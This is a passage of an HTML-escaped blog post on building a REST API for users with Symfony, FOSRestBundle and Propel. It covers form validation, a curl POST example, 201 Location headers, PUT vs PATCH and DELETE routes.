        &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;createForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;handleRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;isValid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;save&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

            &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setStatusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$statusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;c1&quot;&gt;// set the `Location` header only when creating new resources&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;201&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$statusCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Location&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;generateUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                        &lt;span class=&quot;s1&quot;&gt;&apos;acme_demo_user_get&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;id&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()),&lt;/span&gt;
                        &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// absolute&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;View&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically, you create a form, you bind input data, if everything is valid, you
save your user, and you return a response. If something went wrong, you return a
&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;400&lt;/code&gt;&lt;/strong&gt; status code with the form.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$form&lt;/code&gt; instance will be serialized to highlight invalid input data. For
example, you could get the following error response:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Validation Failed&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;errors&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;children&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;errors&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;This value should not be blank.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;View&lt;/code&gt; class here is not the same as the annotation one, that’s why
I used an alias earlier. Read more about this class in &lt;a href=&quot;https://github.com/FriendsOfSymfony/FOSRestBundle/blob/master/Resources/doc/2-the-view-layer.md&quot;&gt;The View
Layer&lt;/a&gt;
chapter in the FOSRestBundle documentation.&lt;/p&gt;

&lt;p&gt;Also, passing the form name is important here. Basically, your clients will send the following content:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;foo@example.org&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hahaha&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can try this API method with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -v -H &quot;Accept: application/json&quot; -H &quot;Content-type: application/json&quot; -X
POST -d &apos;{&quot;user&quot;:{&quot;username&quot;:&quot;foo&quot;, &quot;email&quot;: &quot;foo@example.org&quot;, &quot;password&quot;:
&quot;hahaha&quot;}}&apos; http://example.com/users
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Make sure to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;body_listener&lt;/code&gt; parameter to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; in the FOSRestBundle
configuration. It allows you to receive data in JSON, XML, etc. Then again,
everything works out of the box.&lt;/p&gt;

&lt;p&gt;As I said previously, when everything is ok, you persist the user
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$user-&amp;gt;save()&lt;/code&gt; in Propel), and then you return a response.&lt;/p&gt;

&lt;p&gt;You will return a &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;201&lt;/code&gt;&lt;/strong&gt; status code which means &lt;em&gt;resource created&lt;/em&gt;.
Note that I don’t use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;View&lt;/code&gt; annotation here.&lt;/p&gt;

&lt;p&gt;But if you read the code, you may think that I did weird stuff. Actually, once a
resource is created, you have to return &lt;strong&gt;only one information&lt;/strong&gt;: how to access
this resource, in other words, its &lt;strong&gt;URI&lt;/strong&gt;.
The HTTP specification says you should use the &lt;strong&gt;Location&lt;/strong&gt; header, and that’s
what I do here. But, most of the time you don’t want to perform a new request
to get information like the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; of the user (you already have other information
anyway). Here is the beginning of my main concern: &lt;em&gt;pragmatic vs terrorist?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Guess what? I use to be terrorist here, and I follow the specification by
returning just the &lt;strong&gt;Location&lt;/strong&gt; header:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Location: http://example.com/users/999
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When I have a JavaScript framework like Backbone.js as client, and because I
don’t want to rewrite it entirely because it doesn’t support right APIs, I
return the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; in addition. Being pragmatic is not a bad idea anyway.&lt;/p&gt;

&lt;p&gt;Don’t forget to add the routing definition for this action. Creating a resource
is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; request to the collection, so let’s add a new route:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;acme_demo_user_new&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;POST&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once you know how to create a new resource, it’s quite easy to update it.&lt;/p&gt;

&lt;h3 id=&quot;put-vs-patch-fight&quot;&gt;PUT vs PATCH, fight!&lt;/h3&gt;

&lt;p&gt;Updating a resource in REST means replacing it actually, especially if you use
the &lt;strong&gt;PUT&lt;/strong&gt; HTTP verb. There is also the &lt;strong&gt;PATCH&lt;/strong&gt; method which takes a diff as
input and applies a &lt;em&gt;patch&lt;/em&gt; to your resource, in other words, it’s a &lt;strong&gt;partial
update&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Thanks to our previous work, updating a resource will be quickly implemented.
You have to write a new method in your controller, and to add a new route.
Here, I rely on a ParamConverter to fetch the User object. If it doesn’t exist,
the converter will throw an exception and this exception will be converted in a
response with a &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;404&lt;/code&gt;&lt;/strong&gt; status code.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;editAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;processForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Editing a resource means you know it, so you will perform a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; request on
this resource:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;acme_demo_user_edit&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users/{id}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;edit&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;PUT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both &lt;strong&gt;PUT&lt;/strong&gt; and &lt;strong&gt;PATCH&lt;/strong&gt; methods have to return a &lt;strong&gt;204&lt;/strong&gt; status code standing
for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;No Content&lt;/code&gt;, and meaning everything is ok, go ahead. In the context of this
blog post, &lt;strong&gt;PUT&lt;/strong&gt; is exclusively used to &lt;strong&gt;update existing resources&lt;/strong&gt;, not to
create new ones. That is why you have to return a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;204&lt;/code&gt; status code.&lt;/p&gt;

&lt;p&gt;If you want to create new resources at a given URI, then you will have to update
the code above by removing the use of a ParamConverter, and create a new user in
case it does not exist:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;editAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserQuery&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;findPk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;processForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case, your method can return either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;204&lt;/code&gt; if the resource exists or
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;201&lt;/code&gt; with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt; header if a new resource has been created.&lt;/p&gt;

&lt;p&gt;That’s it! What about deleting resources now?&lt;/p&gt;

&lt;h3 id=&quot;delete&quot;&gt;DELETE&lt;/h3&gt;

&lt;p&gt;Deleting a resource is super easy. Add a new route:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;acme_demo_user_delete&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users/{id}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeDemoBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DELETE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, write a short method:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * @Rest\View(statusCode=204)
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;removeAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

